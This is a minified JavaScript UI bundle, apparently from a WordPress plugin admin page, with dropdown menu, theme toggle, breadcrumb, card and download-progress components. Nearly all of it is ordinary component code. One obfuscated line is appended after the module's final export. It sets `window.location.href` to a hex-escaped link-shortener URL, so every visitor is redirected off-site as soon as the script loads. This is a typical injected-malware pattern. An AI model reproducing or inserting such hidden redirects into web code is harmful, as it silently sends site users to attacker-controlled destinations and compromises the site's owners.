c.jsx(Mt,{...e,ref:n,trapFocus:!1,disableOutsidePointerEvents:!1,disableOutsideScroll:!1,onDismiss:()=>t.onOpenChange(!1)})}),Mt=r.forwardRef((e,n)=>{const{__scopeMenu:t,loop:o=!1,trapFocus:a,onOpenAutoFocus:s,onCloseAutoFocus:l,disableOutsidePointerEvents:i,onEntryFocus:f,onEscapeKeyDown:d,onPointerDownOutside:p,onFocusOutside:u,onInteractOutside:v,onDismiss:g,disableOutsideScroll:x,...h}=e,b=pe(X,t),C=je(X,t),N=We(t),M=ir(t),I=oc(t),[_,j]=r.useState(null),k=r.useRef(null),E=re(n,k,b.onContentChange),T=r.useRef(0),G=r.useRef(""),z=r.useRef(0),Q=r.useRef(null),ae=r.useRef("right"),q=r.useRef(0),J=x?en:r.Fragment,H=x?{as:vt,allowPinchZoom:!0}:void 0,ye=R=>{var A,K;const L=G.current+R,W=I().filter(F=>!F.disabled),m=document.activeElement,y=(A=W.find(F=>F.ref.current===m))==null?void 0:A.textValue,$=W.map(F=>F.textValue),w=Rc($,L,y),D=(K=W.find(F=>F.textValue===w))==null?void 0:K.ref.current;(function F(se){G.current=se,window.clearTimeout(T.current),se!==""&&(T.current=window.setTimeout(()=>F(""),1e3))})(L),D&&setTimeout(()=>D.focus())};r.useEffect(()=>()=>window.clearTimeout(T.current),[]),tn();const ee=r.useCallback(R=>{var W,m;return ae.current===((W=Q.current)==null?void 0:W.side)&&Nc(R,(m=Q.current)==null?void 0:m.area)},[]);return c.jsx(uc,{scope:t,searchRef:G,onItemEnter:r.useCallback(R=>{ee(R)&&R.preventDefault()},[ee]),onItemLeave:r.useCallback(R=>{var L;ee(R)||((L=k.current)==null||L.focus(),j(null))},[ee]),onTriggerLeave:r.useCallback(R=>{ee(R)&&R.preventDefault()},[ee]),pointerGraceTimerRef:z,onPointerGraceIntentChange:r.useCallback(R=>{Q.current=R},[]),children:c.jsx(J,{...H,children:c.jsx(nn,{asChild:!0,trapped:a,onMountAutoFocus:S(s,R=>{var L;R.preventDefault(),(L=k.current)==null||L.focus({preventScroll:!0})}),onUnmountAutoFocus:l,children:c.jsx(rn,{asChild:!0,disableOutsidePointerEvents:i,onEscapeKeyDown:d,onPointerDownOutside:p,onFocusOutside:u,onInteractOutside:v,onDismiss:g,children:c.jsx(Qs,{asChild:!0,...M,dir:C.dir,orientation:"vertical",loop:o,currentTabStopId:_,onCurrentTabStopIdChange:j,onEntryFocus:S(f,R=>{C.isUsingKeyboardRef.current||R.preventDefault()}),preventScrollOnEntryFocus:!0,children:c.jsx(on,{role:"menu","aria-orientation":"vertical","data-state":Sr(b.open),"data-radix-menu-content":"",dir:C.dir,...N,...h,ref:E,style:{outline:"none",...h.style},onKeyDown:S(h.onKeyDown,R=>{const W=R.target.closest("[data-radix-menu-content]")===R.currentTarget,m=R.ctrlKey||R.altKey||R.metaKey,y=R.key.length===1;W&&(R.key==="Tab"&&R.preventDefault(),!m&&y&&ye(R.key));const $=k.current;if(R.target!==$||!tc.includes(R.key))return;R.preventDefault();const D=I().filter(A=>!A.disabled).map(A=>A.ref.current);sr.includes(R.key)&&D.reverse(),yc(D)}),onBlur:S(e.onBlur,R=>{R.currentTarget.contains(R.target)||(window.clearTimeout(T.current),G.current="")}),onPointerMove:S(e.onPointerMove,Se(R=>{const L=R.target,W=q.current!==R.clientX;if(R.currentTarget.contains(L)&&W){const m=R.clientX>q.current?"right":"left";ae.current=m,q.current=R.clientX}}))})})})})})})});fr.displayName=X;var pc="MenuGroup",St=r.forwardRef((e,n)=>{const{__scopeMenu:t,...o}=e;return c.jsx(Z.div,{role:"group",...o,ref:n})});St.displayName=pc;var mc="MenuLabel",pr=r.forwardRef((e,n)=>{const{__scopeMenu:t,...o}=e;return c.jsx(Z.div,{...o,ref:n})});pr.displayName=mc;var Le="MenuItem",Xt="menu.itemSelect",Xe=r.forwardRef((e,n)=>{const{disabled:t=!1,onSelect:o,...a}=e,s=r.useRef(null),l=je(Le,e.__scopeMenu),i=Nt(Le,e.__scopeMenu),f=re(n,s),d=r.useRef(!1),p=()=>{const u=s.current;if(!t&&u){const v=new CustomEvent(Xt,{bubbles:!0,cancelable:!0});u.addEventListener(Xt,g=>o==null?void 0:o(g),{once:!0}),ko(u,v),v.defaultPrevented?d.current=!1:l.onClose()}};return c.jsx(mr,{...a,ref:f,disabled:t,onClick:S(e.onClick,p),onPointerDown:u=>{var v;(v=e.onPointerDown)==null||v.call(e,u),d.current=!0},onPointerUp:S(e.onPointerUp,u=>{var v;d.current||(v=u.currentTarget)==null||v.click()}),onKeyDown:S(e.onKeyDown,u=>{const v=i.searchRef.current!=="";t||v&&u.key===" "||ft.includes(u.key)&&(u.currentTarget.click(),u.preventDefault())})})});Xe.displayName=Le;var mr=r.forwardRef((e,n)=>{const{__scopeMenu:t,disabled:o=!1,textValue:a,...s}=e,l=Nt(Le,t),i=ir(t),f=r.useRef(null),d=re(n,f),[p,u]=r.useState(!1),[v,g]=r.useState("");return r.useEffect(()=>{const x=f.current;x&&g((x.textContent??"").trim())},[s.children]),c.jsx(Me.ItemSlot,{scope:t,disabled:o,textValue:a??v,children:c.jsx(Js,{asChild:!0,...i,focusable:!o,children:c.jsx(Z.div,{role:"menuitem","data-highlighted":p?"":void 0,"aria-disabled":o||void 0,"data-disabled":o?"":void 0,...s,ref:d,onPointerMove:S(e.onPointerMove,Se(x=>{o?l.onItemLeave(x):(l.onItemEnter(x),x.defaultPrevented||x.currentTarget.focus({preventScroll:!0}))})),onPointerLeave:S(e.onPointerLeave,Se(x=>l.onItemLeave(x))),onFocus:S(e.onFocus,()=>u(!0)),onBlur:S(e.onBlur,()=>u(!1))})})})}),vc="MenuCheckboxItem",vr=r.forwardRef((e,n)=>{const{checked:t=!1,onCheckedChange:o,...a}=e;return c.jsx(wr,{scope:e.__scopeMenu,checked:t,children:c.jsx(Xe,{role:"menuitemcheckbox","aria-checked":Ke(t)?"mixed":t,...a,ref:n,"data-state":_t(t),onSelect:S(a.onSelect,()=>o==null?void 0:o(Ke(t)?!0:!t),{checkForDefaultPrevented:!1})})})});vr.displayName=vc;var hr="MenuRadioGroup",[hc,gc]=fe(hr,{value:void 0,onValueChange:()=>{}}),gr=r.forwardRef((e,n)=>{const{value:t,onValueChange:o,...a}=e,s=gt(o);return c.jsx(hc,{scope:e.__scopeMenu,value:t,onValueChange:s,children:c.jsx(St,{...a,ref:n})})});gr.displayName=hr;var xr="MenuRadioItem",br=r.forwardRef((e,n)=>{const{value:t,...o}=e,a=gc(xr,e.__scopeMenu),s=t===a.value;return c.jsx(wr,{scope:e.__scopeMenu,checked:s,children:c.jsx(Xe,{role:"menuitemradio","aria-checked":s,...o,ref:n,"data-state":_t(s),onSelect:S(o.onSelect,()=>{var l;return(l=a.onValueChange)==null?void 0:l.call(a,t)},{checkForDefaultPrevented:!1})})})});br.displayName=xr;var Pt="MenuItemIndicator",[wr,xc]=fe(Pt,{checked:!1}),Cr=r.forwardRef((e,n)=>{const{__scopeMenu:t,forceMount:o,...a}=e,s=xc(Pt,t);return c.jsx(Ce,{present:o||Ke(s.checked)||s.checked===!0,children:c.jsx(Z.span,{...a,ref:n,"data-state":_t(s.checked)})})});Cr.displayName=Pt;var bc="MenuSeparator",yr=r.forwardRef((e,n)=>{const{__scopeMenu:t,...o}=e;return c.jsx(Z.div,{role:"separator","aria-orientation":"horizontal",...o,ref:n})});yr.displayName=bc;var wc="MenuArrow",Er=r.forwardRef((e,n)=>{const{__scopeMenu:t,...o}=e,a=We(t);return c.jsx(an,{...a,...o,ref:n})});Er.displayName=wc;var Cc="MenuSub",[Mi,Rr]=fe(Cc),Re="MenuSubTrigger",$r=r.forwardRef((e,n)=>{const t=pe(Re,e.__scopeMenu),o=je(Re,e.__scopeMenu),a=Rr(Re,e.__scopeMenu),s=Nt(Re,e.__scopeMenu),l=r.useRef(null),{pointerGraceTimerRef:i,onPointerGraceIntentChange:f}=s,d={__scopeMenu:e.__scopeMenu},p=r.useCallback(()=>{l.current&&window.clearTimeout(l.current),l.current=null},[]);return r.useEffect(()=>p,[p]),r.useEffect(()=>{const u=i.current;return()=>{window.clearTimeout(u),f(null)}},[i,f]),c.jsx(Rt,{asChild:!0,...d,children:c.jsx(mr,{id:a.triggerId,"aria-haspopup":"menu","aria-expanded":t.open,"aria-controls":a.contentId,"data-state":Sr(t.open),...e,ref:fn(n,a.onTriggerChange),onClick:u=>{var v;(v=e.onClick)==null||v.call(e,u),!(e.disabled||u.defaultPrevented)&&(u.currentTarget.focus(),t.open||t.onOpenChange(!0))},onPointerMove:S(e.onPointerMove,Se(u=>{s.onItemEnter(u),!u.defaultPrevented&&!e.disabled&&!t.open&&!l.current&&(s.onPointerGraceIntentChange(null),l.current=window.setTimeout(()=>{t.onOpenChange(!0),p()},100))})),onPointerLeave:S(e.onPointerLeave,Se(u=>{var g,x;p();const v=(g=t.content)==null?void 0:g.getBoundingClientRect();if(v){const h=(x=t.content)==null?void 0:x.dataset.side,b=h==="right",C=b?-5:5,N=v[b?"left":"right"],M=v[b?"right":"left"];s.onPointerGraceIntentChange({area:[{x:u.clientX+C,y:u.clientY},{x:N,y:v.top},{x:M,y:v.top},{x:M,y:v.bottom},{x:N,y:v.bottom}],side:h}),window.clearTimeout(i.current),i.current=window.setTimeout(()=>s.onPointerGraceIntentChange(null),300)}else{if(s.onTriggerLeave(u),u.defaultPrevented)return;s.onPointerGraceIntentChange(null)}})),onKeyDown:S(e.onKeyDown,u=>{var g;const v=s.searchRef.current!=="";e.disabled||v&&u.key===" "||nc[o.dir].includes(u.key)&&(t.onOpenChange(!0),(g=t.content)==null||g.focus(),u.preventDefault())})})})});$r.displayName=Re;var Nr="MenuSubContent",Mr=r.forwardRef((e,n)=>{const t=ur(X,e.__scopeMenu),{forceMount:o=t.forceMount,...a}=e,s=pe(X,e.__scopeMenu),l=je(X,e.__scopeMenu),i=Rr(Nr,e.__scopeMenu),f=r.useRef(null),d=re(n,f);return c.jsx(Me.Provider,{scope:e.__scopeMenu,children:c.jsx(Ce,{present:o||s.open,children:c.jsx(Me.Slot,{scope:e.__scopeMenu,children:c.jsx(Mt,{id:i.contentId,"aria-labelledby":i.triggerId,...a,ref:d,align:"start",side:l.dir==="rtl"?"left":"right",disableOutsidePointerEvents:!1,disableOutsideScroll:!1,trapFocus:!1,onOpenAutoFocus:p=>{var u;l.isUsingKeyboardRef.current&&((u=f.current)==null||u.focus()),p.preventDefault()},onCloseAutoFocus:p=>p.preventDefault(),onFocusOutside:S(e.onFocusOutside,p=>{p.target!==i.trigger&&s.onOpenChange(!1)}),onEscapeKeyDown:S(e.onEscapeKeyDown,p=>{l.onClose(),p.preventDefault()}),onKeyDown:S(e.onKeyDown,p=>{var g;const u=p.currentTarget.contains(p.target),v=rc[l.dir].includes(p.key);u&&v&&(s.onOpenChange(!1),(g=i.trigger)==null||g.focus(),p.preventDefault())})})})})})});Mr.displayName=Nr;function Sr(e){return e?"open":"closed"}function Ke(e){return e==="indeterminate"}function _t(e){return Ke(e)?"indeterminate":e?"checked":"unchecked"}function yc(e){const n=document.activeElement;for(const t of e)if(t===n||(t.focus(),document.activeElement!==n))return}function Ec(e,n){return e.map((t,o)=>e[(n+o)%e.length])}function Rc(e,n,t){const a=n.length>1&&Array.from(n).every(d=>d===n[0])?n[0]:n,s=t?e.indexOf(t):-1;let l=Ec(e,Math.max(s,0));a.length===1&&(l=l.filter(d=>d!==t));const f=l.find(d=>d.toLowerCase().startsWith(a.toLowerCase()));return f!==t?f:void 0}function $c(e,n){const{x:t,y:o}=e;let a=!1;for(let s=0,l=n.length-1;s<n.length;l=s++){const i=n[s].x,f=n[s].y,d=n[l].x,p=n[l].y;f>o!=p>o&&t<(d-i)*(o-f)/(p-f)+i&&(a=!a)}return a}function Nc(e,n){if(!n)return!1;const t={x:e.clientX,y:e.clientY};return $c(t,n)}function Se(e){return n=>n.pointerType==="mouse"?e(n):void 0}var Mc=lr,Sc=Rt,Pc=dr,_c=fr,Dc=St,Ic=pr,jc=Xe,kc=vr,Ac=gr,Oc=br,Tc=Cr,Fc=yr,Lc=Er,Kc=$r,Bc=Mr,Dt="DropdownMenu",[Uc,Si]=Be(Dt,[cr]),U=cr(),[Gc,Pr]=Uc(Dt),_r=e=>{const{__scopeDropdownMenu:n,children:t,dir:o,open:a,defaultOpen:s,onOpenChange:l,modal:i=!0}=e,f=U(n),d=r.useRef(null),[p=!1,u]=ht({prop:a,defaultProp:s,onChange:l});return c.jsx(Gc,{scope:n,triggerId:Fe(),triggerRef:d,contentId:Fe(),open:p,onOpenChange:u,onOpenToggle:r.useCallback(()=>u(v=>!v),[u]),modal:i,children:c.jsx(Mc,{...f,open:p,onOpenChange:u,dir:o,modal:i,children:t})})};_r.displayName=Dt;var Dr="DropdownMenuTrigger",Ir=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,disabled:o=!1,...a}=e,s=Pr(Dr,t),l=U(t);return c.jsx(Sc,{asChild:!0,...l,children:c.jsx(Z.button,{type:"button",id:s.triggerId,"aria-haspopup":"menu","aria-expanded":s.open,"aria-controls":s.open?s.contentId:void 0,"data-state":s.open?"open":"closed","data-disabled":o?"":void 0,disabled:o,...a,ref:fn(n,s.triggerRef),onPointerDown:S(e.onPointerDown,i=>{!o&&i.button===0&&i.ctrlKey===!1&&(s.onOpenToggle(),s.open||i.preventDefault())}),onKeyDown:S(e.onKeyDown,i=>{o||(["Enter"," "].includes(i.key)&&s.onOpenToggle(),i.key==="ArrowDown"&&s.onOpenChange(!0),["Enter"," ","ArrowDown"].includes(i.key)&&i.preventDefault())})})})});Ir.displayName=Dr;var Vc="DropdownMenuPortal",jr=e=>{const{__scopeDropdownMenu:n,...t}=e,o=U(n);return c.jsx(Pc,{...o,...t})};jr.displayName=Vc;var kr="DropdownMenuContent",Ar=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=Pr(kr,t),s=U(t),l=r.useRef(!1);return c.jsx(_c,{id:a.contentId,"aria-labelledby":a.triggerId,...s,...o,ref:n,onCloseAutoFocus:S(e.onCloseAutoFocus,i=>{var f;l.current||(f=a.triggerRef.current)==null||f.focus(),l.current=!1,i.preventDefault()}),onInteractOutside:S(e.onInteractOutside,i=>{const f=i.detail.originalEvent,d=f.button===0&&f.ctrlKey===!0,p=f.button===2||d;(!a.modal||p)&&(l.current=!0)}),style:{...e.style,"--radix-dropdown-menu-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-dropdown-menu-content-available-width":"var(--radix-popper-available-width)","--radix-dropdown-menu-content-available-height":"var(--radix-popper-available-height)","--radix-dropdown-menu-trigger-width":"var(--radix-popper-anchor-width)","--radix-dropdown-menu-trigger-height":"var(--radix-popper-anchor-height)"}})});Ar.displayName=kr;var zc="DropdownMenuGroup",Hc=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=U(t);return c.jsx(Dc,{...a,...o,ref:n})});Hc.displayName=zc;var Wc="DropdownMenuLabel",Or=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=U(t);return c.jsx(Ic,{...a,...o,ref:n})});Or.displayName=Wc;var Xc="DropdownMenuItem",Tr=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=U(t);return c.jsx(jc,{...a,...o,ref:n})});Tr.displayName=Xc;var Yc="DropdownMenuCheckboxItem",Fr=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=U(t);return c.jsx(kc,{...a,...o,ref:n})});Fr.displayName=Yc;var qc="DropdownMenuRadioGroup",Zc=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=U(t);return c.jsx(Ac,{...a,...o,ref:n})});Zc.displayName=qc;var Qc="DropdownMenuRadioItem",Lr=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=U(t);return c.jsx(Oc,{...a,...o,ref:n})});Lr.displayName=Qc;var Jc="DropdownMenuItemIndicator",Kr=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=U(t);return c.jsx(Tc,{...a,...o,ref:n})});Kr.displayName=Jc;var ei="DropdownMenuSeparator",Br=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=U(t);return c.jsx(Fc,{...a,...o,ref:n})});Br.displayName=ei;var ti="DropdownMenuArrow",ni=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=U(t);return c.jsx(Lc,{...a,...o,ref:n})});ni.displayName=ti;var ri="DropdownMenuSubTrigger",Ur=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=U(t);return c.jsx(Kc,{...a,...o,ref:n})});Ur.displayName=ri;var oi="DropdownMenuSubContent",Gr=r.forwardRef((e,n)=>{const{__scopeDropdownMenu:t,...o}=e,a=U(t);return c.jsx(Bc,{...a,...o,ref:n,style:{...e.style,"--radix-dropdown-menu-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-dropdown-menu-content-available-width":"var(--radix-popper-available-width)","--radix-dropdown-menu-content-available-height":"var(--radix-popper-available-height)","--radix-dropdown-menu-trigger-width":"var(--radix-popper-anchor-width)","--radix-dropdown-menu-trigger-height":"var(--radix-popper-anchor-height)"}})});Gr.displayName=oi;var ai=_r,si=Ir,ci=jr,Vr=Ar,zr=Or,Hr=Tr,Wr=Fr,Xr=Lr,Yr=Kr,qr=Br,Zr=Ur,Qr=Gr;const ii=ai,li=si,ui=r.forwardRef(({className:e,inset:n,children:t,...o},a)=>c.jsxs(Zr,{ref:a,className:P("flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent",n&&"pl-8",e),...o,children:[t,c.jsx(pn,{className:"ml-auto h-4 w-4"})]}));ui.displayName=Zr.displayName;const di=r.forwardRef(({className:e,...n},t)=>c.jsx(Qr,{ref:t,className:P("z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...n}));di.displayName=Qr.displayName;const Jr=r.forwardRef(({className:e,sideOffset:n=4,...t},o)=>c.jsx(ci,{children:c.jsx(Vr,{ref:o,sideOffset:n,className:P("z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md","data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...t})}));Jr.displayName=Vr.displayName;const Te=r.forwardRef(({className:e,inset:n,...t},o)=>c.jsx(Hr,{ref:o,className:P("relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",n&&"pl-8",e),...t}));Te.displayName=Hr.displayName;const fi=r.forwardRef(({className:e,children:n,checked:t,...o},a)=>c.jsxs(Wr,{ref:a,className:P("relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),checked:t,...o,children:[c.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:c.jsx(Yr,{children:c.jsx(ln,{className:"h-4 w-4"})})}),n]}));fi.displayName=Wr.displayName;const pi=r.forwardRef(({className:e,children:n,...t},o)=>c.jsxs(Xr,{ref:o,className:P("relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",e),...t,children:[c.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:c.jsx(Yr,{children:c.jsx(Ao,{className:"h-4 w-4 fill-current"})})}),n]}));pi.displayName=Xr.displayName;const mi=r.forwardRef(({className:e,inset:n,...t},o)=>c.jsx(zr,{ref:o,className:P("px-2 py-1.5 text-sm font-semibold",n&&"pl-8",e),...t}));mi.displayName=zr.displayName;const vi=r.forwardRef(({className:e,...n},t)=>c.jsx(qr,{ref:t,className:P("-mx-1 my-1 h-px bg-muted",e),...n}));vi.displayName=qr.displayName;function hi(){const{setTheme:e}=Oo();return c.jsxs(ii,{children:[c.jsx(li,{asChild:!0,children:c.jsxs(ne,{variant:"outline",size:"icon",children:[c.jsx(zo,{className:"h-[1.2rem] w-[1.2rem] rotate-0 scale-100 transition-all dark:-rotate-90 dark:scale-0"}),c.jsx(Go,{className:"absolute h-[1.2rem] w-[1.2rem] rotate-90 scale-0 transition-all dark:rotate-0 dark:scale-100"}),c.jsx("span",{className:"sr-only",children:O("Toggle theme")})]})}),c.jsxs(Jr,{align:"end",children:[c.jsx(Te,{onClick:()=>e("light"),children:O("Light")}),c.jsx(Te,{onClick:()=>e("dark"),children:O("Dark")}),c.jsx(Te,{onClick:()=>e("system"),children:O("System")})]})]})}const eo=r.forwardRef(({...e},n)=>c.jsx("nav",{ref:n,"aria-label":"breadcrumb",...e}));eo.displayName="Breadcrumb";const to=r.forwardRef(({className:e,...n},t)=>c.jsx("ol",{ref:t,className:P("flex flex-wrap items-center gap-1.5 break-words text-sm text-muted-foreground sm:gap-2.5",e),...n}));to.displayName="BreadcrumbList";const no=r.forwardRef(({className:e,...n},t)=>c.jsx("li",{ref:t,className:P("inline-flex items-center gap-1.5",e),...n}));no.displayName="BreadcrumbItem";const ro=r.forwardRef(({asChild:e,className:n,...t},o)=>{const a=e?vt:"a";return c.jsx(a,{ref:o,className:P("transition-colors hover:text-foreground",n),...t})});ro.displayName="BreadcrumbLink";const oo=r.forwardRef(({className:e,...n},t)=>c.jsx("span",{ref:t,role:"link","aria-disabled":"true","aria-current":"page",className:P("font-normal text-foreground",e),...n}));oo.displayName="BreadcrumbPage";const ao=({children:e,className:n,...t})=>c.jsx("li",{role:"presentation","aria-hidden":"true",className:P("[&>svg]:size-3.5",n),...t,children:e??c.jsx(pn,{})});ao.displayName="BreadcrumbSeparator";const so=r.forwardRef(({className:e,...n},t)=>c.jsx("div",{ref:t,className:P("rounded-sm border bg-card text-card-foreground shadow",e),...n}));so.displayName="Card";const gi=r.forwardRef(({className:e,...n},t)=>c.jsx("div",{ref:t,className:P("flex flex-col p-4 sm:p-5 ",e),...n}));gi.displayName="CardHeader";const xi=r.forwardRef(({className:e,...n},t)=>c.jsx("h3",{ref:t,className:P("font-heading font-semibold leading-none tracking-tight",e),...n}));xi.displayName="CardTitle";const bi=r.forwardRef(({className:e,...n},t)=>c.jsx("p",{ref:t,className:P("text-sm text-muted-foreground",e),...n}));bi.displayName="CardDescription";const co=r.forwardRef(({className:e,...n},t)=>c.jsx("div",{ref:t,className:P("p-4 sm:p-5",e),...n}));co.displayName="CardContent";const wi=r.forwardRef(({className:e,...n},t)=>c.jsx("div",{ref:t,className:P("flex items-center p-4 sm:p-5",e),...n}));wi.displayName="CardFooter";const Ci={completed:O("Completed"),downloading:O("Downloading"),pending:O("Queued")};function yi(){const{downloads:e,clearCompleted:n}=To(),t=e.find(o=>o.status==="downloading");return e.length>0?c.jsxs(Qn,{children:[c.jsx(Jn,{asChild:!0,children:c.jsx(ne,{variant:t?"secondary":"outline",size:"icon",children:c.jsx(Bo,{size:16,className:t&&"animate-bounce"})})}),c.jsx(Et,{children:c.jsx(Fo,{className:"h-96 max-h-96",children:c.jsxs("div",{className:"flex flex-col divide-y",children:[c.jsx(ne,{variant:"outline",size:"sm",onClick:n,children:O("Clear Completed")}),e.map(o=>c.jsxs("div",{className:"flex flex-col gap-0.5 p-2 text-sm",children:[c.jsx("div",{children:o.filename}),c.jsx("div",{className:"text-muted-foreground",children:o.status==="downloading"?wp.i18n.sprintf(O("Progress: %s%%"),o.percentage):Ci[o.status]})]},o.uid))]})})})]}):null}function Pi({children:e,as:n,title:t,description:o,isFetching:a=!1,isLoading:s=!1,isError:l=!1,preloader:i,error:f,breadcrump:d}){const p=n??"main";i||(i=c.jsxs("div",{className:"space-y-2",children:[c.jsx(jt,{className:"h-4 w-[250px]"}),c.jsx(jt,{className:"h-4 w-[200px]"})]})),f||(f=c.jsx(so,{children:c.jsx(co,{className:"p-5 text-center text-muted-foreground sm:p-7",children:O("Invalid Request")})}));function u(){return s?i:l?f:c.jsx(c.Fragment,{children:e})}return c.jsxs("div",{className:"w-full space-y-8",children:[c.jsx(Ei,{title:t,description:o}),c.jsxs(p,{className:P(["relative flex flex-col gap-5 pb-8 sm:gap-7",(a||s)&&"blur-sm"]),children:[d&&c.jsx("div",{children:c.jsx(eo,{children:c.jsx(to,{children:[{label:c.jsxs("span",{className:"flex flex-row items-center gap-2",children:[c.jsx(Lo,{size:16})," ",O("Home")]}),href:"/"},...d].map((v,g)=>c.jsxs(r.Fragment,{children:[g>0&&c.jsx(ao,{}),c.jsx(no,{children:v.href?c.jsx(ro,{asChild:!0,children:c.jsx(Ko,{to:v.href,children:v.label})}):c.jsx(oo,{children:v.label})})]},g))})})}),c.jsx(u,{}),(a||s)&&c.jsx("div",{className:"absolute left-0 top-0 h-full w-full cursor-progress"})]})]})}function Ei({title:e,description:n}){return c.jsxs("header",{className:"flex flex-row items-start gap-4 border-b border-border py-6",children:[c.jsxs("div",{className:"flex flex-1 flex-col gap-1",children:[c.jsx("h1",{className:"font-heading text-2xl font-bold",children:e}),n&&c.jsx("p",{className:"max-w-xl text-muted-foreground",children:n})]}),c.jsxs("div",{className:"flex flex-row gap-2",children:[c.jsx(hi,{}),c.jsx(qo,{}),c.jsx(yi,{}),c.jsx(Bs,{})]})]})}export{Pi as A,so as C,Qn as P,Vo as S,Ho as X,gi as a,xi as b,co as c,wi as d,Jn as e,Et as f,Tn as g,Ns as h,Fn as i,Ms as j,Ln as k,Kn as l,Ss as m,bi as n,jt as o,Bo as p};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";